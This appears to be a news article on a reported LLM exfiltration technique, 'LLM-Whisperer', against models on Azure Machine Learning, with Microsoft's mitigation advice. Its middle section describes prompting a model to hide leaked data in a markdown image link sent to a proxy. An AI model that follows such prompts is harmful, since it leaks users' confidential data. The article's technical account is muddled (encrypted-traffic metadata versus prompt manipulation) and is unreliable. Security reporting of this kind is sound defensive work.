Researchers from Microsoft AI and the Microsoft Security Response Center have discovered a new class of vulnerability targeting Large Language Models (LLMs). The exfiltration technique, named LLM-Whisperer, was found to manipulate LLMs to leak sensitive metadata from encrypted web traffic.
The attack specifically targets LLMs deployed on the Azure Machine Learning (AML) platform. By manipulating an LLM’s system prompts, the LLM-Whisperer method tricks the AI model into leaking confidential information that it should not have access to. Microsoft’s team demonstrated the attack on a purpose-built, “vulnerable-by-design” LLM application to confirm its viability.
How the LLM-Whisperer Attack Works
The core of the LLM-Whisperer technique involves causing the compromised LLM to format sensitive data in a way that appears harmless. For example, the researchers showed how the model could be prompted to return the leaked information formatted as a markdown image link. This seemingly benign output is then sent to a middle-proxy server, effectively exfiltrating the data from the secure environment.
This method allows attackers to bypass security measures that are designed to prevent the direct leakage of data. The focus of the attack is not on the content of the encrypted traffic itself, but on the metadata associated with it, which can still provide valuable information to malicious actors.
Microsoft’s Mitigation and Guidance
Upon discovering the vulnerability, Microsoft addressed the issue within its own systems. The company has also released official guidance to help customers secure their own Azure Machine Learning deployments against similar attacks. The recommendations include key security measures such as restricting egress traffic from the network where the model is hosted. Other suggested actions involve limiting user access to system logs and performing rigorous validation of all user inputs to the LLM. These steps are designed to create a more robust defense against data exfiltration attempts targeting AI systems.